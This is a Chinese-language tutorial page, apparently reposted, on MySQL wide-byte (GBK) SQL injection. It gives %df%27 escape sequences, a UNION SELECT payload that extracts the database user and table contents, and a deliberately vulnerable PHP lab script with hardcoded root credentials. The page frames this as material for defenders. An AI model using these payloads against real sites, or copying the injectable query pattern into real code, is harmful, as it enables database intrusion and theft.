zl程序教程

您现在的位置是:首页 >  后端

当前栏目

SQL注入实例学习待整理

2023-06-13 09:13:29 时间

注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击, 请勿恶意使用下面描述技术进行非法操作。

[TOC]

宽字节注入原理:

产生原因:由于nbb在部署MySQL时候错误在/etc/my.cnf配置,如下这样会导致编码转换从而导致注入的漏洞

character-set-cient=gbk 
#或者执行
set character_set_client=gbk

1.正常情况下当PHP的GPC开启或使用addslashes函数和iconv过滤GET或POST提交的参数时候,我们使用的单引号’就会被转义成为:\'; 2.这个时候由于存在宽字节注入,我们就可以利用该漏洞我们输入%df%27时候首先经过上面提到的单引号转义变成%df%5c%27(MySQL内部变化)而%5c代表的反斜杠\是转义函数添加; 3.实际是因为在数据库查询前由于使用GBK多字节编码,即在汉字编码的范围内两个字节会被编码成为一个汉字,然后在MySQL服务器会对查询的语句进行GBK编码即%df%5c转换成汉字’運’,从而单引号逃逸了出来导致了注入漏洞;

比如:

请求1:http://127.0.0.1/test.php?title=1
SQL语句:Select * From test Where title='1'

请求1:http://127.0.0.1/test.php?title=1
SQL语句:Select * From test Where title='1'


数据库连接成功!http://127.0.0.1/Sec/gbkSqlInject.php?id=1�\' union select 1,user(),concat(user,0x7e,context) from content#;
执行的SQL语句:SELECT * FROM user WHERE id = '1運' union select 1,user(),concat(user,0x7e,context) from content#;'
admin 6590f73ecdf351c38de00befd2ecf17b
root@localhost weiyigeek~this is a demo

WeiyiGeek.

GBK编码是数据库的编码与前台的编码无关

%df 
%da
%5c = \
%27 = '

#逃出过滤
%df%5c%27
%da%5c%27

UTF-8转GBK 錦 UTF-8编码:e98ca6 GBK编码:%e5%5c

首先经过addlashes函数或者GPS单引号转变成为:錦’,然后经过iconv函数会对”錦”转换成为gbk编码即:%e5%5c%5c%27正好反斜杠%5c被转义了,从而单引号逃逸出来引发注入

<?php
/***
 * 描述:MySQL宽字节注入案例
 * 
MariaDB [cms]> 
create table user(
`id` INT(4) NOT NULL DEFAULT '1',
`user` VARCHAR(255) NOT NULL DEFAULT "NULL",
`pass` VARCHAR(255) NOT NULL DEFAULT "NULL");

create table content(
`id` INT(4) NOT NULL DEFAULT '1',
`user` VARCHAR(255) NOT NULL DEFAULT "WeiY",
`context` VARCHAR(255) NOT NULL DEFAULT "this is demo");

insert into user value (1,"admin",md5("1223456"));
MariaDB [cms]> select * from user;
+----+-------+----------------------------------+
| id | user  | pass                             |
+----+-------+----------------------------------+
|  1 | admin | 6590f73ecdf351c38de00befd2ecf17b |
+----+-------+----------------------------------+
1 row in set (0.00 sec)

insert into content value (1,"weiyigeek");

#支持识别16进制
MariaDB [cms]> select * from user where id = 1 union select 1,user(),concat(user,0x7e,context) from content;
+----+----------------+----------------------------------+
| id | user           | pass                             |
+----+----------------+----------------------------------+
|  1 | admin          | 6590f73ecdf351c38de00befd2ecf17b |
|  1 | root@localhost | weiyigeek~this is a demo         |
+----+----------------+----------------------------------+
2 rows in set (0.00 sec)
**/

$link = new mysqli('localhost', 'root','123456', 'cms');
if(!$link){
    die("数据库连接失败!");
}else{
    echo "数据库连接成功!";
}

$link->query("set NAMES gbk");
$id_tmp=isset($_GET['id'])?urldecode($_GET['id']):"null";
$id=iconv("gbk","utf-8",$id_tmp);
$sql="SELECT * FROM user WHERE id = '{$id}'";
echo "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".urldecode($_SERVER['QUERY_STRING']);
echo "<br>执行的SQL语句:".$sql;

foreach($link->query($sql) as $row){
    echo "<br/>";
    print("\n".$row['user']."\n".$row['pass']);
}
?>